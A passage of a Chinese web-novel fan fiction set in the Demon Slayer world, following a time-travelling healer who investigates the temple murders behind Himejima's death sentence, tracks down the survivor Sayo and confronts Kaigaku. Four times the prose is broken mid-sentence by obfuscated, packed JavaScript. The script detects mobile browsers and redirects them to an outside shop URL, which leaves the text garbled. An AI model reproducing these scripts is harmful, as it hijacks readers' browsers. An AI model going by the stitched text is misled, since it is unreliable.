但还是强撑着把药品分类摆进柜子储藏,此次换洗的衣物搓洗晾上,把队员们被褥的被套换好,又烧了一大锅水用来洗脸泡澡。 然后才半睁着眼睛把饭菜吃干净,缩进被窝,几息之间就睡着了。 寿奶奶从门缝里看到藤花月咲安静地沉睡,来到庭院,抬手摩挲着晾晒的那件浅紫色花纹海老茶式部制服。 袖口有几处裂开,布料表面也磨破不少,腰带也脱线了。 深夜的庭院,只传来一声低低的叹息。 …… 一夜无梦,第二天醒来,藤花月咲神清气爽,还给自己和寿奶奶泡了两杯咖啡。 给自己的依旧是不加糖不加奶的美式,给寿奶奶的则是加了牛奶的拿铁。 寿奶奶今早做的是味增腌制烤鳕鱼、芝麻海苔、凉拌蔬菜、豆腐味增汤和玄米饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919138|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>咖啡搭配和式早餐,怎么说呢,别有一番风味。 等把每日例常的工作完成,藤花月咲迫不及待地取出装针具的软包,搬出仓库里找出的淘汰铁锅,把一套毫针放进去高温蒸汽灭菌。 然后用医用酒精给手和手腕处的皮肤消毒,选了三根较短较细的针——开始扎自己。 虽然大冬天她在寒风中赤脚跑了一夜,依旧十分健康没有感冒,但还是决定给自己扎几针预防一下,顺便练习手感。 鱼际穴、列缺穴、液门穴,可以祛风清热、利咽消肿。 一手扎着针,藤花月咲找了一处明亮的地方,坐在屋内榻榻米上单手翻看报纸。 这是一份东京区域的大报纸,每天清晨都会有送报人投送到门外的信箱,如果一次性订阅一年份的会有折扣,每月大约30钱。 这算是如今了解社会和热门话题的一大途径,也是在家无聊时打发时间的重要读物。 藤花月咲毕竟原本不是这个时代的人,所以非常需要通过报纸熟悉社会风俗、饮食习惯和新的发明创造,以免行为举止太过超前。 她不仅看每天送来的新报,也看以前的旧报纸。 幸好寿奶奶喜欢看报纸,不会看完后就用来糊墙或引火,而是仔细地按照年月分门别类,整整齐齐地收集起来,存放得很好,半点没有损坏受潮。 藤花月咲随手翻了翻,最早的竟然有十年前的日报。 她是从比较新的日期往前看的,一天看一份旧报纸。不过今天的量完成后,觉得天气很好,决定再看一份。 第二份报纸的头版标题就很吸引人眼球——【血染寺庙,犯人被捕】。 凝神一读,写的是东京青梅市一山间寺庙发生了一起恶性杀人案件,在寺庙生活的七个孩子被残忍杀害,仅有一个小女孩幸存。 小女孩指控犯人正是寺庙的僧人,僧人当场被捕,被判决死刑。 乍一看就是个比较严重的杀人案,放在平时,藤花月咲看一看,感慨一下这世道真乱就过去了,毕竟杀人案距离普通人实在有点遥远。 但报纸上提到的犯人姓氏,让她不得不留意。 “悲鸣屿……” 这个姓氏很少见,再加上又是僧人,怎么看都是岩柱悲鸣屿行冥先生啊! 他曾经是杀人犯?! 不不不,报纸上都写他被判决死刑了,那么能把一个死刑犯从牢里捞出来,肯定要动用不少人脉。 她所知道的这样的人物,也就只有主公大人了。 既然主公愿意费劲心思将悲鸣屿先生保释出来,说明这里面应该另有误会? 藤花月咲看向报纸日期,是两年前的。 ……诶? 就是说,悲鸣屿先生从被保释、学习呼吸法、通过最终考核,到成为柱,加起来只花了一年左右?? 她反复算了好几次,确定自己没有算错。 好厉害啊。 等逮到哪只有空的鎹鸦,她就给认识的小伙伴们写信。 一年成为柱很难做到,可有标杆在前面,就会让人不由得充满了希望啊。 15.第十五章 报纸上报道的杀人案已经是两年前的事情了,但藤花月咲还是上了心。 被害者全都是小孩子,又被唯一的幸存者指控为凶手,难道这就是悲鸣屿先生之前说害怕他的身躯吓到蝴蝶姐妹的原因吗? 他很明显没有对这件事释怀的样子啊。 接下来的整个月,藤花月咲都时不时想到这起报道,觉得光自己瞎琢磨是没法得知真相的。 不过主公大概率清楚内情,于是她厚着脸皮写信去叨扰。 结果跟上次告知不死川夫人变鬼时一样,一个上午都没过去,她就收到了对方的回信。 这未免太迅速了,主公肯定没有拖延症。 真想在穿越前的期末也能每天像这样毫不犹豫地查看邮箱里的邮件。 主公的回复很简单——为鬼作祟。 除此之外,凶案的痕迹和证人的证词都没有被纂改过,虽是一桩冤假错案,可现场确实没有第二个能行凶的犯人。 主公表示,他一直希望解开行冥的心结,但后者不愿旧事重提,便不好再勉强。 既然藤花月咲发现了这件事并且很关注,那么恳请她接受委托,梳理案件的始末,以她的细心与直觉,相信一定能做到。 随信附上调查经费与案件档案抄写本,拜托了。 藤花月咲:“……” 怎么忽然串台到隔壁的小黑片场? 而且主公居然全权委托她来调查此事,还预先垫付了经费。 她数了数,100日元,好多! 况且哪怕没有那么多经费,她也不会拒绝,否则何必专门写信给主公了解详情。 藤花月咲把钱收好,认真翻阅案件档案的抄写本。 厚厚的一沓,难怪来送信的鎹鸦超大一只,是其他乌鸦的两倍大小。 在侦查阶段文书中写明了尸体的位置、姿势和伤痕尺寸。所有尸体都是被利器刺中贯穿要害,或划破动脉失血过多死亡,最长的一道伤痕长达一尺,也就是三十厘米左右。 七人死亡、一人失踪,现场未发现凶器。 还有一份现场绘图,简单绘制了寺庙的布局,并标注方位和尸体位置。 以及幸存者——一个四岁小女孩沙代的证词:“那个人是怪物,就是他……杀了大家!” 看完档案,藤花月咲大致明白事实如何了。 按照主公给的提示,应该就是鬼在半夜闯入寺庙杀害了那些孩子,悲鸣屿先生独自与鬼搏斗至黎明,最后鬼因照射太阳而泯灭,看起来很像凶手的悲鸣屿先生却被误抓。 至于那句证词……她想,估计是小女孩受到惊吓太过混乱,脱口而出的一句话吧。 诶,明明就连她这个旁观者都能看清的事,悲鸣屿先生的心结到底是什么? 果然关键点还是那个小女孩沙代,如果能找到她的话,也许能问出那天晚上究竟发生了些什么。 但沙代是孤儿,一个在明治末期没有独立生存能力的孤儿,眼下她会在哪儿呢? 总之青梅市的那间寺庙不可能,那儿现在或许荒废了,也可能已经拆除成为一块荒地。 对着白纸黑字空想多久也不会有结果,藤花月咲沉吟片刻,决定去管辖案发区域的警察署附近打听一下。 从这儿过去乘坐马车,路程在四十分钟左右,可比去京桥区近多了。 向寿奶奶报备过主公的委托,对方的态度倒是支持,就是反复叮嘱:“记得晚上之前回来,如果回不来,日落后就不要出门。” 哪怕有紫藤花香包,遇见鬼都是一件极度危险的事。 第二天一早,藤花月咲便搭乘马车出发了。 四十分钟后抵达目的地,一下车她就忍不住掩嘴干呕两声。 是她小瞧了如今的土路,马车一路颠簸过来,感觉胃里的东西像丢进洗衣机里滚了一通,不比换乘三个小时的交通工具好到哪儿去! 幸亏早上没吃太多,只啃了一个饭团垫肚子,此刻吐不出来,就是反胃。 藤花月咲给自己按摩穴位减轻恶心感,稍微缓过来后向路边的店家问路,找到了警察署。 该地的警察署是个木结构的两层建筑,她向门卫表明来意后就被带到了事务室。 今天她穿了件清新的浅蓝色和服,披上一条羊毛针织披肩,扣子是一颗小小的珍珠。头发依旧是三股辫,但寿奶奶这次把辫子盘了起来,露出白皙纤细的后颈,看着靓丽又时髦。 藤花月咲觉得,寿奶奶应该挺喜欢动手打扮的,品味也很好,自己每次出门都被收拾得漂漂亮亮。 得益于这副装扮,她并没有被怠慢,在事务室坐下后还上了一杯热茶。 “所以说,藤花小姐此次特意过来,是想找两年前寺庙凶杀案中那个幸存的女孩子?”局长接过对方递来的名片,证实对方在为日本有名的产屋敷一族工作,“为什么?” “打扰各位工作了,我是替家族中一名亲戚来的,他的女儿在两岁时走丢,之后一直寻找也没有下落,”藤花月咲身姿凛然,不卑不亢,“前些日子听人说曾在这间寺庙见过与他女儿年龄特征相似的女孩子,可抵达后发现那儿已经没有人了。” 她奉上一个纸封,“我们希望知道她在哪里,即使只有一点线索也可以,麻烦了。” 局长捏开纸封口往里瞥了眼,对数额还算满意,便喊来当时负责这件案子的警察,让他尽数告知。 警察回忆了下,“我记得案发后,那孩子就被带去了附近的救济院,但因为那会儿救济院收容的人超过了负担,所以一段时间后她就被转到了东京市养育院。” 藤花月咲询问东京市养育院的地址,警察翻开册子找了找,给她写了下来。 也不远,坐有轨电车差不多二十分钟的车程。 她道过谢,警察送她到大门口,藤花月咲取出一个手帕包塞给他,里面是一些彩色透明纸包装的水果糖,“请给家里的孩子们吃吧。” 警察犹豫了下,可想到家里的儿女,还是收下了。 “那个,”在少女快告辞的时候,他突然开口,“我刚才想起来,其实那个女孩子在被送到东京市养育院前,曾经找到我们署里一次。” 藤花月咲回身看他。 “因为是四岁小孩自己一个人跑过来,所以我还有印象,”警察说道,“她说想见寺庙凶杀案的犯人,那个人不是凶手,是她那时候弄错了。” “但这种级别的犯人,只会在警察署的留置场短期羁押几天,然后就会被移送到东京市谷拘留场等待审判。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929208|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 警察小心地四周看了看,确认没有其他人听到,“就算她说指认错了,可报纸都刊登了这件案子,好多人知道了,如果这时说判决错了……” 藤花月咲明白他的未尽之意,“谢谢您告诉我这么多。” 她走到车站搭乘有轨电车,接着又叫了辆人力车,三十分钟后到达东京市养育院。 这名字听起来像是类似福利院的地方,实际上收容对象远不止孤儿和流浪儿,还包括残疾者、患病者、老年人等各种贫困人群,是一所公立的综合性收容所。 藤花月咲又用对警察局长的说法向养育院门卫说明情况,但门卫显然不太了解这里收容的每个人都叫什么,因此带她去找专门负责照顾孩子们的护工。 两人路过一间间屋子,有的屋子里人们都在做缝纫活计,有的正在吵闹打架,有的隔着门都能听到里面爆发出剧烈的咳嗽声。 藤花月咲赶紧加快了步伐。 走到孩子们所在的屋子,一群下至两岁上至十几岁的孩子拥挤在屋内,有股难以言喻的异味。 这里的生存环境估计比寺庙还艰难。 门卫找护工问了几句,护工很是思考了一会儿,“沙代?……哦!是不是一两年前送来的小女孩?我记得她来了没几个月就被领养走了。” 藤花月咲注意到,“沙代”这个名字一出来,一个默默坐在门边垂着脑袋编织草鞋的男生微微抬头,冲这边望了过来。 她不动声色地问,“请问有登记领养人的信息吗?” “跟我来吧。” 护工把她带到院长室,院长翻找登记信息时,藤花月咲开口,“请问,刚才屋子里有个十岁左右的男生,脖子上系着一块勾玉……” “哦,你说狯岳啊,怎么,那块勾玉是你被偷的?”护工很自然地说出这句话。 “没有没有,我就是想问一下,他是什么时候来这儿的?” “唔……好像没有一年吧?”护工也不是很确定,“反正这里岁数大点的孩子,基本都是警察在路边逮到的流浪儿,不能让他们随便在街上晃荡啊。” 藤花月咲心想,来这不满一年,应该没有跟沙代接触过,怎么会对她的名字有反应。 等拿到领养人信息,往回走时又路过那个屋子,其他孩子即便做工,见护工走开了也要打闹一番,但狯岳一直埋头编草鞋。 藤花月咲掏了掏包,还剩几颗水果糖,便走上前递过去一颗蜜桃味的,“给你。” 狯岳仰头看她,皱着眉不说话,也没动作。 这期间又其他孩子看到,推搡着要过来抢走她掌心的糖果,藤花月咲握拳一收,“我是给他的,不给你们。” 护工把其他孩子呵斥走,藤花月咲又递出糖果。 这回狯岳迟疑一下,拿走了。 藤花月咲:“你认识沙代吗?” 她只是随口一问,结果对方听了后把水果糖一扔,直接跑走了。 嗯,如果这家伙胡扯两句说不定还没这么明显,这一看就是明晃晃认识啊! 她猜测,案件档案中记录的寺庙有一个失踪的孩子,可能就是狯岳。 藤花月咲也不觉得一颗糖就能让对方敞开心扉,既然不想说,那她还是先找到沙代本人吧。 16.第十六章 东京市养育院登记的信息显示,领养走沙代的是一对夫妇,开了一间小食店做生意。 藤花月咲顺着院长给的地址,坐着人力车过去一看,却发现那地方如今变成了一家布料店。 “之前的租户吗?不清楚他们去哪儿了啊,”布店老板娘打着算盘记账,随口道,“当初来看这房子时倒是问过房东,因为前面那户只租了一年就走了,想过这房子是不是有问题,但房东说是他们承担不起房租,搬到更偏僻的地方了。” 这下藤花月咲终于有些头疼了,过程繁琐点她都能平常心面对,可线索突然断了该怎么找? 毫无头绪的她抱着来都来了的念头,又辗转去了东京市谷拘留场。 她当然无法再找借口进入这种地方,只在外围转了一圈。 这个监狱四面都有高耸的围墙,完全看不到里面的布局,唯一比围墙高的建筑是一座监视塔楼。 藤花月咲远远观察了下门口警卫的换防,觉得以悲鸣屿先生的体格,以及他那能独自暴打鬼至黎明的力量,如果有心想赤手空拳突破这里,也不是不可能,更别提那个区域警察署简陋的留置场了。 或许他被逮捕时就心如死灰,哪怕真能逃脱,这世上已然没有安身之地。 她叹息一声,感觉肚子饿了,此刻都过了午饭的点,先去吃点东西吧。 回到街面,她走在路中间寻找该吃什么,蓦地在一家店前面停住了,抬头盯住招牌。 是一家小食店。 总有那么些时刻,直觉会突如其来地降临,指引着她走进这家店。 难道这家店尤其好吃些? 这样想着,藤花月咲掀开幕帘进去坐下,点了梅子茶泡饭、酱油烤团子和年糕红豆汤。 味道还行,茶泡饭的米饭有点硬,酱油团子稍微烤过头了,不过年糕红豆汤很不错,热乎乎的甜汤令在冬日室外行走数小时的身体都暖和了起来。 老板娘为她重新倒了杯热茶,藤花月咲夸赞红豆汤很好喝。 “您能喜欢真是太好了,”老板娘笑道,“因为女儿喜欢这个,歇业时自家也煮了很多次呢。” 在这一瞬间,藤花月咲福至心灵,“冒昧一问,您女儿的名字是……?” “沙代啊。”老板娘虽然疑惑,还是回答了。 “你们是不是曾经在东京市养育院附近开店,一年多以前才搬到这边来的?” 老板娘一惊,对方怎么如此清楚,莫非是追来讨债的?! ……不对啊,他们也没借债,而且这少女的模样气质以及穿着都不像是平民,怎么会来干催债的活。 藤花月咲递上名片,边说边观察对方反应,“我是悲鸣屿先生的熟人,关于两年前那起案件,我想询问一些细节。” 老板娘听到“悲鸣屿”这个姓氏,恍然道:“啊,你是来找沙代的。” 她讲起自己与丈夫结婚后曾经不小心流产过一个孩子,之后始终无法再怀孕,于是决定领养一个,便在东京市养育院带走了沙代。 为了摆脱周围人的闲言碎语,让沙代能开心健康长大,就搬离了原来的地方,来到这里作为一家三口重新开始生活。 决定搬走时,夫妇俩问过沙代想在什么样的地方生活,小女孩说想要离老师近一些。 “后来我们才知道,老师指的是悲鸣屿先生,”老板娘把后厨的老板喊来,两人坐在藤花月咲对面回忆,“沙代她啊,一直都很愧疚,说老师被抓是她的错。我们看报纸,只写对方被判决死刑后就没了下文,又去拘留场问过几次,那些人也全都闭口不谈,把我们赶走了。” 拘留场那种地方,平民光是靠近就很需要勇气了,没有金钱和人脉打点,的确没办法了解到死刑犯的情况。 藤花月咲见老板娘神情中的关心不似假,便说了实话,“虽然不能把他的具体所在之处告诉你们,但悲鸣屿先生已经离开拘留场了,现在人身是自由的。” 老板点头表示理解,“沙代知道了的话,总能放心一些了。” “不好意思,或许我的请求很突兀,但我想当面和沙代聊一聊,了解那晚究竟发生了什么。” 这对夫妇面面相觑,犹豫了会儿,“我们可以让你和沙代见面,但具体能不能问出来,得看那孩子自己的意愿。” “这样就够了,多谢。” 等下午彻底没客人后,老板把门口代表营业中的暖簾收起来,老板娘也为沙代向老师请假,从学校接回来。 这时候东京的公立小学普遍是免收学费的,但教科书费、文具费、服装费等仍然是一笔较大的开支,至少对这家小食店来说负担不小。 能让领养来的孩子去上学,说明沙代在这个家里真的很受爱护。 沙代听了藤花月咲的来意,坐在垫高的椅子上不断点头,眼泪忍不住流了下来,小手抹着泪水,“老师……老师他还好吗?我真的、真的很对不起他,一直想跟他说抱歉,但是我找不到老师……” “我上次见到悲鸣屿先生时,他看起来还很强壮呢。”藤花月咲安慰道,掏出剩下的水果糖,剥开一颗塞进小女孩嘴里。 西瓜的清甜在口腔中扩散开来,沙代的情绪逐渐冷静下来,挂着几道泪痕开始回想那晚的经过。 “我记得,那天大家睡得特别早……啊!因为狯岳偷了寺庙里的钱,大家把他赶了出去,但是不想让老师发现,就决定一起早点睡,这样就能说狯岳睡着了。” 听到“狯岳”这个名字,藤花岳咲心想果不其然,这件事里有他。 作为“失踪者”,狯岳绝对是这起案件的关键人物。 “狯岳偷了多少钱?”她问。 “全部偷走了!因为香油钱和大家挣来的钱都放在一个罐子里,那天五郎哥哥准备第二天去买米,发现钱都没了,大家找了一圈,最后在狯岳身上找到了老师用来串钱的绳子,但几乎被花完了。” 沙代对饿肚子的记忆格外深刻,因此对偷钱的孩子也出奇愤怒。 本来攒的钱就不够他们一群人的吃喝,每个人都吃不饱,老师是个大人,却也跟他们吃差不多量的东西,从来都那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933515|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么瘦削。 寺庙里的食物没有了,钱又被偷用了,狯岳偷钱的时候难道没有想过他们会被饿死吗?! 藤花月咲:“那为什么不告诉悲鸣屿先生呢?” “因为,如果狯岳求情的话,老师一定会心软原谅他的,”沙代说,“安子姐姐说过,偷窃就像赌博一样,不受到惩罚是不会悔改的。安子姐姐的爸爸以前就很爱赌博,每次输了钱就向她妈妈跪地求情,她妈妈都原谅了,最后她妈妈干活时累死,他爸爸还不上钱被杀死,连安子姐姐都差点被卖到花街抵债!” “狯岳被我们质问的时候,他一点也没有觉得自己做错了,但他面对老师时却肯定会道歉求情,就是仗着老师不会赶他走!”沙代不知道这种行为叫什么,但她本能地厌恶。 藤花月咲想,明明狯岳在东京市养育院看起来挺老实的,或许因为护工们都是他不能硬碰硬的成年人,而她过去时的装扮看着同样不好惹。 说好听点是见风使舵,难听点,就是欺软怕硬吧。 她早上去往区域警察署时听说,那一片盛行恶鬼吃人的传说,老人们或寺庙僧人会比较防备。 案件档案里也标明,寺庙屋外有一个被打翻的香炉。 看来悲鸣屿先生每晚都会点燃寿奶奶说过制作过程很复杂的紫藤花香,但那一晚被遭到驱逐的狯岳故意打翻熄灭,才使恶鬼破门而入。 孩子们往往比大人更加喜恶分明,尤其是寺庙的这群孤儿,他们无法独自生存,必须互相依靠才能活下去,所以在出现叛徒时才会出奇愤怒,即使知道夜晚外面有鬼,也要将其赶出去受“惩罚”。 藤花月咲接着问:“遇到鬼之后,发生了什么?” 沙代说,当时有四个孩子眨眼间被杀死了,她和剩下三个孩子躲到了老师身后。 她回想到了那时的恐怖情形,声音都在发抖,全身紧绷着,“老师叫我们不要动,我、我蹲在地上动不了,五郎哥哥、安子姐姐、小太哥哥突然朝外面跑,也、也被鬼杀了……” 藤花月咲取出寺庙布局绘图,请她想一想当时每个人的站位。 沙代拿着图纸转了一圈又一圈,完全看不懂,藤花月咲就一个个指着图纸上的标注物说明这是什么地方。 “这里,我记得我躲在了佛龛的边上。” 藤花月咲把一处角落画个叉,“那鬼站在什么地方?” “应该……应该是站在门口。” “好,”藤花月咲又画了个叉,“悲鸣屿先生和你们平时在寺庙干什么活?” 沙代努力回忆,说老师会接待香客、做法事、抄写经文、打扫和制香,寺庙有一小块土地在山后,孩子们体谅老师眼睛看不见,都是由他们负责干农活。 原来做工超级复杂的紫藤花香是悲鸣屿先生自己做的。 藤花月咲收起纸笔,郑重地看着沙代,“最后一个问题,你当时相信悲鸣屿先生能保护你们吗?” 沙代本已止住的泪水又漫出了,“相信……我一直相信着,老师即使拼了命,也要保护我们。” 17.第十七章 沙代的眼泪又停不下来了,可爱的大眼睛都快要哭肿。 为了转移她的情绪,藤花月咲蹲下与她平视,揉了揉小女孩的头发,“那么,你就把想跟悲鸣屿先生说的话给写下来吧,我会想办法转交给他的。” 沙代立刻吸了吸鼻子:“好!” 她打开书包,找出书写纸和铅笔,咬着笔头思考要写什么。 因为刚入学,她认识的字不多,但还是坚持自己一笔一划慢慢写。如果有不会写的字,就让大人指尖蘸茶水在桌面上写一遍,然后誊抄。 藤花月咲也没干等着,而是在一旁为曾经流产过的老板娘把脉,问了排便和月经情况。 “你是不是流产后就经常直不起腰,身体发痒、头身沉重,哪怕是冬天也会觉得烦热,嘴巴总是发苦口渴?” 老板娘连连点头。 这是很常见的产后并发症,中医称中风,虽然不算严重,可想完全治好有点麻烦,需要足够的休息和食补营养才行,不是这家小食店能够负担的。 大冬天的,藤花月咲方才还瞥见老板娘在后门用冷水洗碗碟,手指冻得通红,就因为要省着点用柴火。 再说,手头也没药材啊。 藤花月咲思索片刻,终于记起导师讲过的一个土方子:大豆紫汤。 原料很常见,大豆五升、清酒一斗。用铁锅猛火炒熟大豆,等焦烟冒出时浇上清酒,过滤豆渣、服用豆汁,便能去风和消除滞血。 她又讲了些平日需要注意的忌口和习惯,现在年轻还没什么,等岁数大了很遭罪的。 夫妇俩听得很认真。 这边的养生小课堂结束,沙代的信也写得差不多了。 小女孩不太自信地递上书写纸,“姐姐,这样写可以吗?” 藤花月咲看了一遍,字不算好看,却有种孩子的稚嫩用心。内容则是解释了两年前的事,以及道歉。 她想了想,引导道:“沙代写得很好哦。现在让我们闭上眼睛想一想,如果沙代帮助了别的孩子,你希望对方说的是‘谢谢你帮助了我’还是‘很抱歉给你添麻烦了’呢?” “……我想听到感谢的话,”沙代睁开眼,“我明白了!姐姐你再等一下哦!” 藤花月咲眨眨眼,“而且我觉得啊,要是你能写一点自己的生活,悲鸣屿先生一定会高兴的。” 受到启发的沙代在原本内容下方又努力写起来,半晌后递过来。 “……我一直、一直都感谢着老师那天保护我,谢谢你为我而战,沙代希望老师每天都能好好吃饭、过得开心。” 孩子最朴素的感谢与期望令藤花月咲不由得弯了弯眉眼,把信收好,“放心吧,悲鸣屿先生绝对会看到的。” 夫妇俩准备了饭团,她没有推辞,告别一家三口后往有轨电车站走去。 沙代回屋收拾书包,却看到座位上有一个没见过的小钱袋,便喊来父母。 夫妇俩一打开,里面全是面额较大的纸币和银币,粗略一数竟然有五十日元。 他们赶紧出门去追人,但少女早已坐上电车离开,不晓得往哪儿去了。 …… 回到青梅市,藤花月咲下电车后向附近老人询问了那间寺庙的地址,并没有叫人力车,而是徒步走过去。 寺庙的位置比较偏僻,她一度以为自己走错了方向,直到穿过一片树林,才在密密麻麻的杂草堆中望见若隐若现的破瓦庙顶。 两年没人住过,这里破败得简直不成样子,野草疯长、木头腐朽、屋顶漏水,仿佛随时都会倒坍,就连流浪儿都不敢久留吧。 她算了算,自己的脚程算快的,也走了约莫有半小时,成年人跑过来至少十分钟,小孩子则需要花费更多时间。 藤花月咲小心翼翼地踏上台阶,先在走廊看了一圈,再进内屋。 一脚踩下去,直觉不对,赶紧重心后移收回去。 她低头一看,那块地板几乎全裂开了,只要踩上去就会破个大洞卡住脚。 藤花月咲提着气,更加谨慎缓慢地观察整间内屋。 其实刚进来就一览无遗,比她和寿奶奶的卧房还小,正前方有一座残破的佛龛,仔细看地上还残余着干涸发黑的血迹。 她冲着佛龛双手合十拜了拜,“打扰了。” 随即取出寺庙图纸和侦查文书,与现场一一对照。 “正门口从左到右共四具尸体……啊,悲鸣屿先生挡住沙代的地方在这儿。” 藤花月咲挪到角落里站定,半蹲下来分析。 门口被鬼和孩子们的尸体堵住,想要通过非常危险。而跑到离这最近的人家起码要十几分钟,很容易被追上。 以悲鸣屿先生目前的体格,即使从前食物有限,两年前也相当高大了,就算是个盲人,好像行动不太受限制,在不到十岁的小孩眼中肯定是比他们更能对付恶鬼。 那么,除沙代外的三个孩子为什么要从庇护者身后跑出来? 总不能是觉得一起跑,逃脱的可能性更高?那种关头有空讨论这个? 藤花月咲看着文书里剩下三具尸体的位置,一具在阶梯下,一具在窗台上,一具在窗台旁,都是割喉而死。 她走到窗边朝外看,前面有个小小的茅草屋。 茅草屋的门都没了,里头的东西大概也被流浪儿捡走,只剩下一把锈得很厉害、木柄不翼而飞的镰刀。 这应该是放农具的地方。 藤花月咲忽然想起,沙代说孩子们体谅老师眼睛看不见,农活都是他们去干的。 会不会悲鸣屿先生并不清楚农具放在外头,只知道面对危险时孩子们从他身后跑走,像是不相信他能对抗敌人而四散而逃。 但其实,孩子们是想去拿农具作武器,帮助悲鸣屿先生对抗恶鬼。 藤花月咲叹息一声。 也许这就是悲鸣屿先生的心结。 可是,尽管被伤害过,他看起来依然对小孩子很温柔啊。 不仅她这么觉得,蝴蝶姐妹、不死川实弥肯定也这样认为的。 离开寺庙前,藤花月咲又郑重拜了拜佛龛,眼看天快黑了,这才快步回到镇上,找了一间旅馆下榻。 晚饭就是小食店夫妇俩给的饭团。 这儿的旅馆明显比京桥区更有年代感,主要表现为没有安装电灯,她只好在煤油灯的映照下半摸黑地写信,将今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936728|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的调查结果如实告知,连同沙代的信一起让鎹鸦交给主公。 ——主公见到岩柱的机会多,沙代的信要由一个值得信赖的人亲手交出才有可信度。 做完这些,藤花月咲倒在床褥上,安心地熟睡了。 翌日,正在吃旅馆的早饭时,伙计突然敲门说有人拜访。 藤花月咲一口味增汤还没咽下去:? 我吗? 谁能到这里找我? 总不能是小食店一家三口为了还她钱袋,一路追到这儿了吧? 带着疑惑三连,藤花月咲下楼去见了来拜访的人。 ……诶?! —— 东京市养育院。 门卫又见到了昨天来过的少女,对方浅笑着说道,“昨天回去后,产屋敷家主听闻养育院的情况,希望捐赠一笔钱为孩子们改善环境。” 门卫一听,马上带她去找院长。 院长室里,藤花月咲递上一张中央银行的支票,表示希望用这笔钱改善孤儿们的饮食和穿着。 “另外,这是一份代加工合同,请养育院的人手加工一些材料,我们会付工钱,以减轻养育院的经济负担。”她取出合同。 院长自然没有拒绝的理由,快速阅览合同内容后就痛快地签字盖章了。 “对了,那个叫狯岳的孩子,能稍微让他出来一下吗?我有些事想问他,”藤花月咲起身,“我在养育院对面的茶屋等他。” 院长一口答应。 坐在茶屋的榻榻米包间等了十几分钟,茶屋老板把狯岳领来了,没有其他人。 “请坐。”藤花月咲把点心碟子推过去,给他倒了一杯茶。 狯岳站在门边,没有动。 “好吧,你大概能猜到我昨天来找沙代的原因,”她喝了一口绿茶,“有人委托我重新调查两年前的寺庙凶杀案。” 狯岳闻言颤抖一下,抬头带着审视的眼神,对这话很是怀疑,毕竟对方看起来没比自己大几岁。 “你可以不相信,不过我已经找到沙代,问清那天的经过了。” 藤花月咲放下茶杯,“为什么要偷庙里的钱,狯岳?” 包间里一时陷入沉默。 “……哈,庙里的钱?”蓦地,狯岳仰头讥讽地笑,“那是我的钱!” “据我所知,里面有一半是香油钱,另一半是孩子们一起做工挣的。” “一起挣的?沙代是跟你这么说的?”狯岳不屑,“明明都是我在编织东西去卖,是我帮人搬家、跑腿,那些钱都是我挣的!为什么我不能用,偏偏要分给其他无能的人!” 藤花月咲摇摇头,“这是分工而已,其他人也有在干农活、煮饭做菜,没有他们做杂务,你无法一心赚钱。” 狯岳撇头,显然不服气她的说法。 “嗯,在你看来,你拿走本该属于你的钱,却被赶出寺庙,于是踢翻了紫藤花香炉,是么?” “是啊,是我打翻了的又怎样?”狯岳握紧拳头,“他们不让我活,那么我也不让他们活下去,有问题吗?!” 藤花月咲不纠缠于他和那些孩子的矛盾,直击中心,“那悲鸣屿先生呢?” 18.第十八章 在藤花月咲看来,不论狯岳和寺庙孩子的纠纷如何,他打翻香炉时没想过一直照顾他们的悲鸣屿先生也会因此被杀么? 狯岳想到了,可他不在意,“老师他啊,思想太落后了,明明只有那么一点钱,却执意要养那么多孩子,每个人都吃不饱。他应该放弃那些太弱小的家伙,让更强、更有活着价值的人留下来!就是由于他的纵容,那些更无能的人居然跟我平起平坐,还仗着人多赶走了我!” “都是他们的错,是他们先不给我活路的,我只是想活下去而已,你有什么资格为此指责我,好像我做了罪大恶极的事?!” 他似乎彻底撕下了听话的面具,露出埋藏在心底最深处的阴暗与不满,源源不断,如同漏了一个无法填补的窟窿那样倾泻而出。 “嘛,以我的立场来说,的确也没什么资格指责你啦,”藤花月咲挠挠脸,“不过……” 